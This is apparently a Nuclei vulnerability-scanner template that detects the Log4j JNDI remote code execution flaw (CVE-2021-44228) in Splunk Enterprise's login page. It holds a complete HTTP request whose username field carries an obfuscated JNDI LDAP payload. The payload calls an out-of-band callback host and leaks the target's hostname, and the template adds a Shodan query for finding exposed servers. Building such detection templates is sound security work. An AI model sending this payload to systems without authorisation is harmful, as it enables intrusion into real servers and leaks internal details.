id: splunk-enterprise-log4j-rce

info:
  name: Splunk Enterprise - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Splunk Enterprise is susceptible to Log4j JNDI remote code execution. Splunk Enterprise enables you to search, analyze and visualize your data to quickly act on insights from across your technology landscape.
  reference:
    - https://www.splunk.com/en_us/blog/bulletins/splunk-security-advisory-for-apache-log4j-cve-2021-44228.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: http.title:"Login - Splunk"
  tags: cve,cve2021,rce,jndi,log4j,splunk,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /en-US/account/login HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, text/html, application/xml, text/xml, /
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cval={{unix_time()}}&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&return_to=%2Fen-US%2F

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request

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